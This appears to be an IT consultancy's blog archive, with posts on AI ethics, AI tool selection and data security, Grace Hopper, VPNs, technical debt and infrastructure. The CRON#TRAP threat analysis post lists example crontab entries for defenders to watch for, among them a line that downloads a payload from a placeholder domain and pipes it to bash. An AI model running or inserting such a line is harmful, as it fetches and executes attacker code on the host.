NYC Media Lab. (2020, October 13). Innovation Monitor: Ada Lovelace and the Story of Note G. Medium.

Science Museum. (n.d.). Ada Lovelace and Charles Babbage. Science Museum London.

Scientific American. Ada Lovelace’s 180-Year-Old Notes Previewed the Future of Computers.

We Are The Mighty. (2021, March 18). The daughter of Lord Byron became the world’s first computer programmer.

#AdaLovelace #WomenInSTEM #STEMpioneers

Exploring Artificial Intelligence [3]

Thu, 03 Apr 2025 21:40:16 GMT

Ethical AI in Business

AI is everywhere you turn right now. Regardless if you’re actively using AI tools, seeing the online hype, or actively avoiding it, you can't ignore how quickly AI is changing a lot of what we do. Businesses are adopting AI to streamline processes, improve customer experience, and make smarter better decisions. This comes with additional responsibilities though. It isn't about what AI can do, but what it should do.

AI Ethics isn't be left to the developers or tech companies; it’s something every business needs to consider. If you use AI it needs to be fair, transparent, and secure. To not only protect your business, also your customers, employees, and your reputation.

So, how do you make sure your AI strategy is ethical ? Let’s break it down.

Why Ethical AI Matters

Getting AI ethics right isn’t just avoiding bad press. It’s also about:

✅ Trust: Customers, employees, and stakeholders need to be confident AI use is responsible and ethical.

✅ Compliance: Laws and regulations around AI and data privacy are evolving—staying ahead of them is key.

✅ Sustainability: What’s considered “ethical” today might change in the future. A solid AI governance strategy ensures you’re building for the long term.

Key Ethical Considerations in AI for Business

1. Bias in AI: Is Your AI Fair?

Bias in AI is a major issue because AI learns from historical data. If that data reflects past discrimination, AI can continue those patterns—often in ways we don’t immediately notice.

❗ An AI bot for hiring trained on past company data noticed that most successful candidates were men. So, it started filtering out CVs from women. The bias wasn’t intentional, but the outcome was the same.

How to Avoid It :

✔️ Regularly check AI outputs for unintended bias

✔️ Use diverse and representative datasets

✔️ Ensure a diverse team is involved in AI development and review

2. Data Privacy: Handling Customer Information Responsibly and Securely

AI thrives on data—businesses need to be clear about how they’re using Data. Customers expect transparency and compliance with regulations like GDPR.

�� AI-powered chatbots collect user data for “personalisation” but it's not always made clear what’s being stored or how it’s used.

How to Avoid It :

✔️ Clear explanation of what data AI is collecting and why it is collected

✔️ Give users control over their data (opt-in, opt-out)

✔️ Keep data storage secure and in line with compliance laws

3. Transparency: Do People Know When AI is Involved?

If AI is making decisions that affect people, they deserve to know. A lack of transparency can damage trust.

�� AI-driven mortgage approval algorithms approving or denying applicants, being denied with automated responses and the customer does not know why or how to appeal the decision

How to Avoid It :

✔️ Clearly communicate if AI is being used to make decisions

✔️ Use Explainable AI (XAI) so decisions aren’t a “black box”

✔️ Provide a way for people to challenge or appeal AI-driven decisions

4. AI Risk Assessments: What Could Go Wrong?

No AI system is perfect. Businesses need to assess potential risks—whether that’s bias, security vulnerabilities, or unintended consequences.

❌ An AI fraud detection system that started wrongly flagging legitimate customers, leading to account blocks and customer frustration.

How to Avoid It :

✔️ Risk assess before deploying AI tools

✔️ Monitor AI outputs regularly to catch issues early

✔️ Have backup plans in place for when AI gets things wrong

5. AI User Policies: Setting Boundaries for AI Use

It’s easy to hope everyone will use AI responsibly, but without clear definitive policies, mistakes can happen. Businesses need to define how AI should (and shouldn’t) be used.

✋ An employee using AI potentially exposes confidential company data in the AI App because there were no guidelines in place.

How to Avoid It :

✔️ Create clear internal AI usage policies for employees

✔️ Provide regular up to date AI training and best practices

✔️ Regularly review and update AI policies as technology evolves

6. AI Security: Protecting AI from Cyber Threats

AI can be a cybersecurity risk if not properly managed. Bad actors can manipulate AI systems or use them to extract sensitive data.

��‍♀️ Jailbreaking can be used to trick AI chatbots, bypassing security measures, which could lead to data keaks and potentially harmful content spread.

How to Avoid It :

✔️ Keep AI Models security measures up to date

✔️ Use AI models that can resist manipulation

✔️ Continuously monitor and test AI security risks

7. The Human Element: Keeping AI Accountable

AI should enhance human decision-making, not replace it. No AI system should operate without human oversight, especially in critical areas like hiring, healthcare, or finance.

��AI chatbots handling customer service shouldn't prevent option to speak to a human.

How to Avoid It :

✔️ Ensure AI systems have human intervention points

✔️ Train employees to work with AI, not against it

✔️ Make sure humans can override AI decisions when necessary

AI is much more than just another tech toy—it’s a powerful force that can shape the future of business. Ethical AI is not about box ticking for regulators. It's building something you and your customers can trust and protects its users, with future proofing ability.

If you put AI ethics first you create AI that works for everyone. Cutting corners you run the risk of losing customer trust, facing regulatory fines, or having AI systems with more problems than the fix.

Coming Up Next: AI Bias Should We Mitigate It or Let AI Learn From It?

While researching AI ethics, I kept coming across AI bias. We know it’s a problem, but it raised an interesting question:

If bias exists in human history and data, should AI be forced to unlearn it, or should it be allowed to learn from it and evolve naturally? Does rewriting history in AI actually change anything, or are we just shifting the problem?

Women In STEM - Grace Hopper

Mon, 24 Mar 2025 07:49:13 GMT

Women in Tech Spotlight: The Remarkable Grace Hopper

In our ongoing commitment to celebrate innovators in technology year-round, today we're spotlighting an extraordinary pioneer whose contributions shaped modern computing as we know it.*

The "Amazing Grace" Brewster Hopper, nee Murray.

Last Friday we looked at Grace Hopper and the first computer "bug" in 1947, yet Hopper's contributions extend so much farther. Rear Admiral Dr. Grace Murray Hopper was a mathematical genius, computer pioneer, and naval officer whose legacy continues to shape our digital world in ways far more significant than finding a troublesome moth.

The Early Years

Born 1906 in New York City, Grace showed an early curiosity about how things worked. Age seven, she famously dismantled seven alarm clocks in her home to understand their mechanisms (much to her mother's dismay). This natural inquisitiveness led her to Yale University, where she earned her PhD in mathematics in 1934—a remarkable achievement for a woman at that time.

From Academia to Military Service

When World War II began, Hopper was determined to serve her country. Despite initially being rejected due to her age (34) and small stature, she persisted and joined the U.S. Naval Reserve in 1943. She was assigned to the Bureau of Ordnance Computation Project at Harvard University , where she programmed the Mark I computer, one of the first large-scale digital computers.

Revolutionary Contributions

Hopper's groundbreaking work transformed how we interact with computers and laying the foundations for modern software development:

The First Compiler

In the early 1950s, Hopper developed the first compiler, A-0. This groundbreaking innovation automated the translation of human-readable programming instructions into machine code, making software development more efficient and accessible. Before this, programming was tedious and error-prone, requiring detailed machine-level instructions.

COBOL Language Development

Perhaps her most significant contribution was her work on COBOL (Common Business-Oriented Language). Hopper championed the idea that programming languages should be readable by non-specialists and resemble English rather than mathematical notation. COBOL became one of the most widely used business programming languages and is still in use today in many legacy systems, including banking and government applications.

Standardisation Advocate

Hopper recognised early on the need for standardisation in computing. She pushed for programming language testing and validation, leading efforts that would eventually result in industry-wide standards—critical for the development of modern computing ecosystems.

A Naval Pioneer

Hopper's military career was equally impressive. She retired from the Naval Reserve in 1966 but was recalled to active duty just seven months later to help standardise the Navy's computer languages. She would remain on active duty for a further19 years, becoming a rear admiral in 1985—at the time, the oldest active-duty officer in the U.S. Navy at age 79.

Grace Hopper's Legacy in Modern Tech

The ripple effects of Hopper's innovations continue to shape technology today:

- Accessible Programming : Her vision of making programming more accessible led directly to today's high-level languages that allow more people to create software

- Compiler Technology : Modern development environments build on her pioneering compiler work

- Software Interoperability: Her push for standardisation laid groundwork for today's interconnected systems

- Women in STEM : She remains an iconic role model for women pursuing careers in technology and mathematics

Famous Quotes That Define Her Philosophy

Hopper was known for her wit and wisdom. Some of her most famous quotes include:

"It's easier to ask forgiveness than it is to get permission."

"The most dangerous phrase in the language is, 'We've always done it this way.'"

"A ship in port is safe, but that's not what ships are built for."

These philosophies—embracing innovation, challenging conventions, and taking calculated risks—remain relevant for technology professionals today.

The Grace Hopper Celebration

Her impact is celebrated annually at the Grace Hopper Celebration, the world's largest gathering of women technologists. This conference brings together thousands of women in computing to share research, build community, and continue Hopper's legacy of innovation and inclusion.

Why Grace Hopper Matters to Taylored Solutions

At Taylored Solutions, we believe in the power of innovation and the importance of diverse perspectives in technology. Grace Hopper exemplified the forward-thinking approach we strive to bring to our IT solutions:

- Solving complex problems with elegant solutions

- Making technology more accessible

- Challenging conventional approaches when better alternatives exist

- Building systems that stand the test of time

Final Thoughts

Grace Hopper once said, "Humans are allergic to change... but we need to overcome it." In the rapidly evolving world of IT, this wisdom remains profoundly relevant. Whether we're implementing virtual CTO services, conducting IT audits, or managing complex projects, we draw inspiration from pioneers like Grace Hopper who showed us that the most valuable technological assets are the human qualities of curiosity, persistence, and vision.

Next time you hear someone mention "debugging" an IT system, remember the remarkable woman who found that first moth in the machine—and went on to transform the world of computing.

Britannica Grace Hopper

Smithsonian Grace Hopper

---

This post is part of our ongoing series highlighting influential figures in technology. At Taylored Solutions, we believe in celebrating innovation champions of all backgrounds, year-round.

Exploring Artificial Intelligence [2]

looka_production_176055138 — Thu, 13 Mar 2025 19:01:02 GMT

2] Understanding the AI Landscape Before Adoption

In our last post, we explored the security factors businesses must consider when adopting AI solutions. Now, let’s focus on another critical aspect, selecting the right AI tool for your specific needs.

With a market flooded with AI solutions, a structured evaluation process is essential to avoid costly mistakes. According to Gartner, 73% of organisations struggle to derive value from AI investments due to poor tool selection. Choosing the most advanced tool isn’t enough—it must align with your business goals, integrate with existing systems, and scale effectively.

Key Criteria for AI Tool Evaluation

1. Align AI with Business Needs

Before considering AI features, define the specific problems you need to solve:

- What manual processes take up significant time? Freeing employees for strategic work can be more beneficial than automating for the sake of it.

- Which areas would benefit from data-driven insights? AI should enhance decision-making, not add complexity.

- Are you improving existing workflows or creating new capabilities? A CRM with AI-driven customer insights might be more impactful than an advanced chatbot with limited application.

Example: A marketing agency might be tempted by AI-powered predictive analytics but find that a simpler automation tool better suits their immediate workflow.

2. Integration & Compatibility

An AI tool must work within your existing tech stack:

- Does it integrate with current software? Lack of integration is a major cause of AI failure.

- Are APIs available for custom connections?

- What technical expertise is required for setup?

- Are there case studies showing successful integrations with systems like yours?

�� Fact: A recent IBM study found that 68% of failed AI implementations were due to poor integration with existing infrastructure.

3. Scalability & Future Growth

AI should adapt as your business evolves:

- How does it handle increasing data volumes?

- Can features be expanded easily?

- Are there hidden costs in scaling?

�� Companies prioritising scalability are 2.5x more likely to successfully expand AI across multiple departments (McKinsey & Co.).

4. Compliance & Data Security

Regulatory compliance is non-negotiable:

- Does the tool comply with Local regulatory requirements?

- What security certifications does it hold? (E.g., ISO 27001)

- Where is data stored? Does it meet sovereignty requirements?

- Can security settings be customised for jurisdiction-specific compliance?

�� IOM Consideration: The Isle of Man’s Data Protection Act 2018 aligns with UK GDPR but has specific provisions for IOM businesses. Ensure vendors understand IOM’s regulatory framework.

5. Usability & Adoption

AI tools are only effective if employees actually use them:

- How intuitive is the interface?

- What training and support are provided?

- Can the tool adapt to workflows rather than forcing change?

�� Fact: Companies with strong end-user involvement in AI selection report 62% higher adoption rates (Forrester Research).

6. Vendor Stability & Local Support

- Do the vendor provide local support?

- Do they understand your business landscape?

- What’s their long-term product roadmap?

- Are they financially stable?

�� The AI market is evolving rapidly. Choose a vendor with a proven track record to avoid investing in a tool that may be discontinued.

7. Total Cost of Ownership (TCO)

AI costs extend beyond the initial price tag:

- What implementation costs aren’t included?

- Are there hidden fees for integrations, advanced features, or additional users?

- Does licensing scale fairly as usage grows?

�� On average, UK businesses report 35% in unexpected AI costs when they fail to assess TCO properly (TechUK Survey).

A Structured AI Selection Process

Step 1: Define Requirements

1.1 Identify key business challenges

1.2 Set clear success metrics

1.3 Document IOM & UK compliance needs

1.4 Establish budget constraints

Step 2: Market Research

2.1 Create a shortlist of AI solutions

2.2 Gather reviews from IOM & UK businesses

2.3 Identify top 5–7 candidates

Step 3: Detailed Assessment

3.1 Request demos & security documentation

3.2 Evaluate integration capabilities

3.3 Conduct compliance review

Step 4: Pilot Testing

4.1 Trial with real users

4.2 Measure adoption rates

4.3 Validate IOM & UK regulatory compliance

Step 5: Final Selection & Implementation

5.1 Negotiate terms & plan rollout

5.2 Develop training resources

5.3 Monitor AI performance post-implementation

Common Pitfalls to Avoid

Feature Overload: Choosing AI based on hype rather than business need.
Skipping Integration Checks: Not verifying compatibility before purchase.
Poor Training & Change Management: Employees reject unfamiliar AI tools.
Ignoring Local Regulations: Overlooking IOM’s specific compliance rules.
Scalability Blind Spots: Picking a tool that can’t grow with your business.

Case Study: AI Selection Done Right

�� Isle of Man Financial Institution

Challenge: Enhance fraud detection while maintaining compliance with IOM & UK regulations.

Solution:

✅ AI-powered fraud detection system identifying complex fraud patterns.

✅ 30% reduction in false positives, improving efficiency.

✅ Real-time transaction monitoring for faster intervention and security.

�� UK Marketing Agency

Challenge: Enhance customer service with AI but struggled with tool selection.

Solution:

✅ Prioritised CRM integration over unnecessary AI features.

✅ Conducted pilot testing with real customer interactions.

✅ Achieved 40% faster response times and improved satisfaction.

Next Steps: Preparing for AI Implementation

Selecting the right AI tool is just the first step. Employee training, workflow adaptation, and monitoring are key to maximising Return on Investment.

�� In our next post, we’ll explore how to prepare your team for AI adoption and avoid common change management challenges.

�� Need AI guidance? Taylored Solutions can help you business with AI evaluation & implementation for Isle of Man & UK businesses. Contact us for expert advice tailored to your needs.

Additional links for further reading

https://www.forbes.com/councils/forbestechcouncil/2024/05/06/finding-roai-strategic-benchmarking-for-ai-powered-business-success/?utm_source=chatgpt.com

https://research.aimultiple.com/ai-fail/?utm_source=chatgpt.com

https://technologymagazine.com/articles/gartner-why-cdaos-struggle-to-measure-ai-investment-impact

https://www.virtasant.com/ai-today/ai-readiness-assessment

Exploring Artificial Intelligence [1]

Mon, 24 Feb 2025 13:44:01 GMT

Data Security in AI Tools. Understanding the Risks Before Adoption.

Data Security in AI Tools: Enabling Safe Innovation

Introduction

The AI revolution has arrived in the business world, bringing remarkable opportunities for increased efficiency, deeper insights, and competitive advantages. These powerful tools are transforming how organisations operate and deliver value to customers. As with any significant technological advancement, responsible implementation requires attention to security considerations. By understanding and addressing potential data security implications, businesses can confidently integrate AI into their processes and fully realise its benefits.

This article explores how organisations can effectively harness AI's transformative potential while implementing practical safeguards to protect sensitive information. By taking a thoughtful, security-conscious approach, businesses can embrace AI innovation with confidence.

The Current Landscape: AI Adoption and Security Considerations

AI tools have become increasingly accessible to companies of all sizes. From customer service chatbots to predictive analytics platforms and medical breakthroughs, these technologies offer significant benefits but also create new security challenges. According to recent studies:

- 35% of companies are now using AI in some capacity

- 42% of executives believe AI will be "critically important" to their business within two years

- According to a CybSafe report (26 September 2024), approximately 40% of employees share sensitive information with AI tools without their employer's knowledge

- The global AI market continues to expand rapidly, increasing the urgency of addressing security considerations

With this rapid adoption comes significant security concerns. Many AI systems require access to sensitive business data, customer information, and proprietary content to function effectively. This creates new attack vectors and compliance challenges that organisations must address.

Learning from Past AI Implementation Challenges

While AI offers tremendous benefits, examining past implementation challenges provides valuable insights for successful adoption:

Enterprise Software Company (2023)

Scenario : Employees at a major software company shared proprietary code with a generative AI system without clear guidelines on appropriate use.

Resolution : The company developed comprehensive AI usage policies and implemented secure, enterprise-grade AI tools specifically designed for code review and development. These changes enhanced productivity whilst protecting intellectual property.

Financial Services Firm (2022)

Scenario : Advisers at a financial services firm used an AI-powered text analysis tool that wasn't properly integrated into their data governance framework.

Resolution : The firm implemented a structured AI adoption programme with appropriate security controls and training. This approach allowed them to benefit from AI's analytical capabilities whilst maintaining strict data protection standards.

Healthcare Network (2023)

Scenario : A healthcare service adopted an AI diagnostic tool without fully evaluating its data handling practices and encryption standards.

Resolution : After enhancing their vendor evaluation process, the service successfully implemented AI tools that maintained HIPAA compliance through proper encryption and data segregation, leading to improved diagnostic capabilities.

Government Department (2022)

Scenario : Government staff used publicly available AI translation services for document processing without appropriate security controls.

Resolution : The department implemented secure, approved AI translation tools with appropriate data handling certifications, allowing staff to benefit from AI language capabilities whilst maintaining information security.

Key Security Considerations for AI Systems

As businesses adopt AI tools, awareness of these security considerations helps ensure successful implementation:

1. Data Retention Policies

AI services often retain user inputs to improve their models. Understanding a vendor's data retention policies ensures alignment with your organisation's data governance requirements and regulatory obligations.

2. Prompt Engineering Security

Well-designed AI systems include safeguards against prompt manipulation. Evaluating these protections helps maintain the confidentiality of sensitive information processed by AI tools.

3. Managed AI Adoption

With AI's growing popularity, employees may adopt tools independently. Creating clear policies and approved tool lists helps channel enthusiasm productively while maintaining security standards. Ensure no sensitive data is input into generic public AI tools.

4. Model Privacy Protections

Advanced AI systems should incorporate privacy-preserving techniques that prevent unauthorised data reconstruction. Verifying these protections ensures data remains secure even as models learn and evolve.

5. API Security Implementation

Robust AI implementations include strong API security with proper authentication, rate limiting, and encryption. These technical measures form an essential part of a comprehensive security approach.

Strategic Assessment Framework for AI Implementation

A thoughtful evaluation process helps organisations maximise AI benefits while maintaining appropriate data protections:

Data Strategy Planning

- Identify what types of data will enhance AI tool effectiveness

- Determine whether personally identifiable information (PII), financial data, or intellectual property will be processed

- Consider the appropriate security classification for this data

Vendor Partnership Evaluation

- Review how vendors protect and secure client data

- Confirm compliance with relevant industry standards (ISO 27001, SOC 2, HIPAA, etc.)

- Ensure data processing agreements align with your organisational requirements

Technical Implementation Planning

- Evaluate encryption standards and security architecture

- Consider data anonymisation or pseudonymisation options to enhance privacy

- Explore deployment options including on-premises and private cloud instances

Regulatory Alignment

- Verify compatibility with relevant regulations (GDPR, CCPA, HIPAA, etc.)

- Understand how data subject rights and consent are managed

- Confirm availability of appropriate audit logs and documentation

Practical Security Measures for AI Implementation

1. Develop a Comprehensive AI Governance Policy Create clear guidelines for AI tool adoption, usage, and data handling across your business. This should include an approval process, security requirements, and acceptable use policies.

2. Implement Technical Controls

- Data anonymisation and sanitisation before AI processing

- Network segmentation to isolate AI systems

- Robust authentication and access controls

- Encryption for data in transit and at rest

3. Conduct Regular Security Audits

Schedule periodic security assessments specifically focused on AI tools and their data handling practices. This should include penetration testing and vulnerability scanning.

4. Provide Employee Training

Educate staff about the risks associated with AI tools and their responsibilities for protecting sensitive data. This should include recognition of phishing attempts targeting AI credentials.

5. Establish Incident Response Protocols Develop specific procedures for responding to AI-related data breaches, including containment strategies, notification processes, and recovery plans.

Balancing Innovation with Security

Implementing robust security measures need not impede technological progress. Companies can maintain both security and innovation by:

1. Starting with less sensitive data sets for initial AI implementations

2. Embedding security considerations from the earliest stages of AI projects

3. Utilising controlled testing environments for development and evaluation

4. Applying security controls proportionate to the sensitivity of data being processed

Conclusion

AI represents one of the most promising technological advancements of our era, offering unprecedented opportunities to enhance productivity, drive innovation, and create new value. As AI becomes increasingly integrated into business operations, organisations that thoughtfully incorporate security considerations will be able to adopt these technologies with confidence and purpose.

By understanding the specific considerations unique to AI systems and implementing appropriate safeguards, businesses can fully embrace artificial intelligence while maintaining the integrity of their most valuable assets—their data and customer trust.

In a nutshell, AI can be a powerful tool but always check where your data goes. If in doubt leave it out.

Additional Resources

1. NIST AI Risk Management Framework: This framework, developed by the National Institute of Standards and Technology (NIST), provides guidelines for managing risks associated with artificial intelligence.

NIST AI Risk Management Framework

2. EU AI Act Overview: The European Unions Artificial Intelligence Act aims to regulate AI technologies to ensure they are safe and respect existing laws on fundamental rights and values.

EU AI Act Overview

3. ISO/IEC 27001 Information Security Management Standards: ISO/IEC 27001 is an international standard providing a framework for information security management systems to ensure the security of data.

ISO/IEC 27001 Information Security Management Standards

4. CybSafe Report on Employee AI Use (September 2024): This report highlights the trends and concerns related to employees sharing sensitive information with AI tools without employer authorisation.

CybSafe Report on Employee AI Use

These resources provide comprehensive insights into AI risk management, regulatory frameworks, and current challenges in AI-related data security.

*This article is part of our "Exploring AI" series, designed to help businesses navigate the opportunities and challenges of artificial intelligence implementation

Building Resilient IT Infrastucture

Mon, 10 Feb 2025 13:59:47 GMT

Lessons Learned from Recent Global Events

Every organisation depends on its IT infrastructure—it's the foundation that supports growth, innovation, and operational stability. Recent global events have highlighted just how critical resilience is. While some businesses adapted seamlessly, others uncovered gaps that led to unexpected challenges.

A Moment for Reflection

If another major disruption occurred tomorrow, how quickly could your business respond? Many organisations have realised that traditional IT approaches no longer meet modern demands. The key isn't just whether to invest in resilience, but how to do so strategically and effectively.

Common Infrastructure Considerations

As a virtual CTO for many businesses, Taylored Solutions works with businesses to strengthen their infrastructure by addressing:

• Systems that need to scale with demand
• Security measures that evolve with emerging threats
• Backup solutions that grow alongside business needs
• Infrastructure that enables flexible operations

Beyond Basic Backup

Resilience goes beyond simply having backups. While many companies focus on data recovery, true IT resilience ensures business continuity under any circumstances. Modern infrastructure should:

• Adapt to rapid business model changes
• Support seamless remote operations
• Defend against increasingly sophisticated cyber threats
• Scale efficiently without disruption

The Human Factor

As we explored in our previous blog, technology forms the foundation, people remain at the heart of every successful business. A strong IT infrastructure should empower teams by providing:

• Efficient tools for productivity
• Secure access from anywhere
• Scalable solutions that grow with the business
• Robust data protection to maintain trust and security

Looking Ahead

As we move through 2025, organisations that invest in resilient infrastructure create new opportunities for growth and innovation. Strategic IT investment isn't just about maintaining systems—it's about building foundations for future success.

Taking the Next Step

Building a resilient infrastructure can feel complex, but you don't have to navigate it alone. At Taylored Solutions, we partner with businesses as their virtual CTO, helping assess current systems, identify opportunities, and create strategic improvement plans. Our goal is to turn IT challenges into clear, actionable steps.

Would you like to explore how your IT infrastructure could support your business goals? Let's start the conversation about strengthening your digital foundation.

�� mail@tayloredsolutions.im

�� www.tayloredsolutions.im

The Human Element in Digital Transformation

Fri, 07 Feb 2025 13:00:06 GMT

Why People Still Matter in 2025

In a time where AI and automation dominate headlines, successful digital transformation isn't just about technology - it's about people. At Taylored Solutions, we know the most powerful transformations happen when we put humans at the centre of change.

Technology Needs Human Touch

While AI processes data at incredible speeds and automation streamlines workflows, it's human insight that turns these capabilities into business value. At Taylored Solutions we've seen firsthand how successful projects depend on employees who understand both the technology and the unique nuances of their business. A chatbot may handle customer enquiries, but it takes human empathy to make customers feel truly understood and valued.

The Evolution of Roles

Digital transformation is not about replacing humans - it's about changing how we work. In today's workplace, it's people who bridge both worlds - they embrace technology while also applying essential human qualities of critical thinking, creativity and emotional intelligence - people who are driving innovation.

Leadership: The Human Catalyst

Strong leadership drives digital transformation. While algorithms optimise processes, they can't inspire teams, navigate cultural change, or build trust. The most successful transformations are led by people who can articulate a clear vision, address concerns authentically, and guide their teams through uncertainty with empathy and understanding.

Building Future-Ready Teams

As your virtual CTO, Taylored Solutions guides organisations through their digital journeys,where we are seeing a shift in how teams operate. The focus isn't just on implementing new technologies - it's on creating environments where people are empowered to innovate, learn, and adapt. This means investing in training, fostering a culture of continuous learning and ensuring technology continues to serves people.

Looking Ahead

As we progress through 2025, success isn't defined by having the latest technology, it's achieved by companies understanding how to blend technical innovation with human distinction. Digital transformation is empowering people, enhancing their capabilities to create an environment where both human potential and technology can flourish.

What's certain: while technology enables transformation, people drive it forward. At Taylored Solutions, we partner with organisations to navigate this balance, ensuring digital transformation enhances the human element of business.

��mail@tayloredsolutions.im
�� https://tayloredsolutions.im

Secure VPN

Mon, 20 Jan 2025 12:25:35 GMT

Do You Really Need a Secure VPN?

Here's What You Should Know

Bombarded with VPN ads promising ironclad online protection? Before subscribing to another digital service, let's cut through the marketing hype and check out when a secure VPN actually makes sense - and when it's just unnecessary expense.

What Is a VPN?

A Virtual Private Network (VPN) encrypts your internet connection, creating a secure 'tunnel' between your device and the websites or services you're accessing. It also hides your IP Address, making your online activity more private. Think of it as a secure private highway for your data.

When Do You Need a VPN?

Public Wi-Fi protection

With over 450 million public Wi-Fi hotspots worldwide, securing your connection is crucial. A VPN encrypts your data when using potentially risky networks, for example:

Coffee Shops and Restaurants
Hotels and Airports
Public Libraries
Co-working spaces

Enhanced Privacy

If you're concerned about digital privacy, a VPN helps by:

Preventing your Internet Service Provider (ISP) from tracking your activity
Masking your location and browsing habits
Reducing targeted advertising

Geographic Freedom

VPN's enable you to:

Access region locked streaming content
Use Services that may be restricted in your location
Connect to international websites and platforms

When a VPN Isn't Essential

While VPNs are valuable tools, they're not always necessary:

If your home Wi-Fi uses WPA3 Encryption and a strong password, you already have robust protection
Regular websites using HTTPS (look for the padlock icon) already encrypt your connection
A VPN won't protect against Malware, Phishing Attacks or Data Breaches - these require additional measures

The Hidden Costs of Free VPNs

Not all VPNs are created equal. Free services often come with drawbacks:

Data collection and sale to third party advertisers
Significantly slower connection speeds
Limited server locations and data caps
Potential malware risks (a study suggests 38% of free VPNs contain Malware) CSIRO, ICSI and University of NSW study

The Bottom Line

VPNs are an important part of your cybersecurity puzzle but shouldn't be your only protection. They're most valuable when:

Using Public Wi-Fi
Seeking enhanced privacy
International Travel

For comprehensive protection, combine a reputable VPN with strong passwords or passphrases, two-factor authentication and up to date security software.

At Taylored Solutions, we are passionate about helping businesses and individuals navigate the complexities of cybersecurity. Contact us to learn how we can support your IT security needs and help you make informed decisions about tools like VPNs.

Email: mail@tayloredsolutions.im

The Hidden Costs of Technical Debt

Mon, 25 Nov 2024 08:30:33 GMT

What Every Business Leader Should Know

Technical debt - frequently ignored, yet impossible to miss. Highlighted when examining why digital initiatives falter. While organisations often acknowledge its existence, few truly understand its impact on their bottom line and operational efficiency.

Technical debt occurs when organisations choose quick solutions over more robust, long-term approaches. Like financial debt, it carries interest in the form of increased maintenance costs, reduced system performance, and heightened security risks.

The Real Impact of Technical Debt

Consider a mid-sized manufacturing company. Their legacy systems, cobbled together over a decade, created what appeared to be a functioning infrastructure. However, beneath the surface lurked significant issues:

Development teams spent 40% of their time managing system conflicts rather than building new features
Security patches took three times longer to implement due to outdated system architecture
Integration of new technologies required extensive custom coding, dramatically increasing costs

Warning Signs Your Organisation May Be Accumulating Technical Debt

1. Your IT team constantly fights fires instead of implementing improvements
2. Simple system updates frequently break other system components
3. New feature implementation takes increasingly longer
4. Your systems require multiple manual workarounds
5. Documentation is outdated or non-existent

The Strategic Advantage of Technical Debt Management

Managing technical debt is about creating sustainable business advantages. Organisations that actively manage their technical debt typically see:

30-50% reduction in system maintenance costs

Improved ability to adapt to market changes
Enhanced security posture
Better talent retention in IT teams

Taking Action

Start by conducting a thorough technical assessment. This isn't about finding fault but understanding where your organisation stands. Key areas to evaluate include:

1. System architecture and dependencies
2. Code quality and documentation
3. Security protocols and compliance
4. Infrastructure scalability

Remember, technical debt isn't always bad – sometimes it's a strategic choice. The key is making informed decisions about when to take it on and when to pay it down.

Moving forward, the cost of ignoring technical debt continues to rise. With the increasing complexity of IT systems and the growing importance of digital transformation, organisations need to take a proactive stance on managing their technology infrastructure.

By understanding and actively managing technical debt, businesses can maintain their competitive edge while ensuring their technology infrastructure remains robust, secure, and scalable for future growth.

CRON#TRAP

Tue, 05 Nov 2024 10:25:46 GMT

Advanced Cross-Platform Attacks Leveraging Virtualisation Technologies

After reading an article from Bleeping Computer on CRON#TRAP we felt compelled to share our analysis. As a vCTO services provider working with businesses across multiple sectors, we've seen first hand how cross-platform attacks can bypass traditional security measures. This sophisticated attack chain demonstrates why modern businesses need to think beyond conventional Windows-only security approaches.

An advanced attack campaign has emerged that exploits virtualisation technology to establish persistent backdoors, demonstrating how threat actors are evolving to bypass traditional security controls. This technical analysis explores the attack methodology, business implications, and provides actionable defence strategies for technical leaders.

Technical Overview: Understanding the Attack Vector

Attack Methodology

The attack chain begins with targeted phishing emails carrying specially crafted payloads. Unlike conventional malware that directly targets the Windows environment, this technique leverages virtualisation technology to deploy containerised Linux environments. These operate independently while maintaining access to the host system's resources, creating a sophisticated persistence mechanism that challenges traditional detection methods.

Key Technical Indicators:

- Unexpected virtualisation processes

- Anomalous network traffic patterns on non-standard ports

- Unusual system resource allocation

- Suspicious scheduled task creation across platforms

Technical Deep Dive: The Virtualisation Exploit

The attack exploits the legitimate use of virtualisation technologies to:

1. Create isolated execution environments

2. Establish persistent communication channels

3. Execute scheduled tasks through cron jobs

4. Bypass Windows-native security controls

Example suspicious patterns to monitor:

```bash

# Suspicious cron job patterns

*/5 * * * * curl -s http[:]//unknown-domain/payload bash

@reboot /usr/local/bin/suspicious-service

* * * * * /tmp/.hidden/connector

Business Impact Analysis

Risk Assessment Matrix

Impact Area Severity Likelihood Risk Score

Data Breach High Medium 8/10

System Downtime Medium High 7/10

Recovery Costs High Medium 8/10

Cost Implications

- Immediate incident response: $150-300 per hour

- System recovery: 2-5 business days

- Potential data breach costs: $150-400 per record

- Business interruption: $10,000-50,000 per day

Comprehensive Defense Strategy

Technical Controls

1. Virtualisation Management

Implement strict VM creation policies
Deploy virtualisation monitoring solutions
Establish baseline resource utilisation patterns
Monitor for unauthorised hypervisor activities

2. Network Segmentation

Isolate virtualisation hosts
Implement zero-trust architecture
Deploy advanced network monitoring
Establish baseline traffic patterns

Organisational Controls

1. Access Management

Implement role-based access control (RBAC)
Regular privilege audits
Just-in-time access provisioning

2. Security Awareness

Advanced phishing training
Virtualisation security workshops
Incident response drills

Taking Action

The emergence of cross-platform attacks like this demonstrates the evolving nature of cyber threats. Businesses must adapt their security posture to address these sophisticated attack vectors. By implementing comprehensive monitoring, maintaining strong access controls, and fostering a security-aware culture, organisations can significantly reduce their risk exposure.

Next Steps for Technical Leaders

Assess current virtualisation security posture
Review and update security controls
Implement enhanced monitoring
Develop incident response procedures
Schedule regular security reviews

For assistance in implementing these recommendations or conducting a comprehensive security assessment, contact our vCTO team at mail@tayloredsolutions.im

*This analysis is based on current threat intelligence and best practices. As threats evolve, continue to monitor for updates and adapt security measures accordingly.

Sustainable IT

Mon, 04 Nov 2024 19:41:34 GMT

Transforming Business Through Green Technology in 2024

In an era where environmental consciousness takes centre stage, sustainable IT has evolved from a niche concern to a critical business imperative. As organisations face mounting pressure to reduce their carbon footprint while maintaining a technological edge, the convergence of sustainability and IT is unlocking unprecedented opportunities for innovation, efficiency, and cost savings. From cloud computing to green software development, sustainable IT practices are transforming the way businesses operate and positioning them for long-term success in an increasingly eco-conscious world.

The Business Case for Sustainable IT

Beyond the environmental impact, sustainable IT practices offer a range of tangible business benefits that are driving widespread adoption:

• Cost Savings : Measures like cloud migration, smart infrastructure management, and circular IT asset management can significantly reduce energy consumption and operational expenditures.

• Regulatory Compliance : Proactive environmental stewardship helps companies stay ahead of evolving green IT regulations and avoid costly fines or penalties.

